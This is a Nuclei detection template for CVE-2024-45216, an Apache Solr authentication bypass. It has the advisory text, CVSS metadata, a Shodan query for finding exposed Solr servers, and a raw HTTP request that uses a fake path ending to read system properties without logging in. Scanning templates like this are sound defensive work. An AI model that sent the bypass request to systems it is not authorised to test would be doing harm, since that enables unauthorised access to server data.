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Apache Solr - Authentication Bypass

ID: CVE-2024-45216

Severity: critical

Author: gumgum

Tags: cve,cve2024,apache,solr,auth-bypass

Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.

id: CVE-2024-45216
info:
name: Apache Solr - Authentication Bypass
author: gumgum
severity: critical
description: |
Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.
impact: |
Users are recommended to upgrade to version 9.7.0, or 8.11.4, which fix the issue.
reference:
- https://shfsec.com/cve-2024-45216-authentication-bypass-in-apache-solr
- https://nvd.nist.gov/vuln/detail/CVE-2024-45216
- https://solr.apache.org/security html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-45216
cwe-id: CWE-863,CWE-287
epss-score: 0.00043
epss-percentile: 0.09834
metadata:
verified: true
max-request: 1
shodan-query: http.html:"Apache Solr"
tags: cve,cve2024,apache,solr,auth-bypass
http:
- raw:
- |
GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
Host: {{Hostname}}
SolrAuth: {{to_lower(rand_text_alpha(5))}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "responseHeader"
- "system.properties"
- "solr.script"
- "solr.solr.home"
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4b0a004830460221008ef1ae783a4ac39c88a79bff84a02075511fbaeed581332f7c6a0b0d68662a03022100c0932d6061935e8473486c2a60023d00f088839b46f9296db61956434608d3ed:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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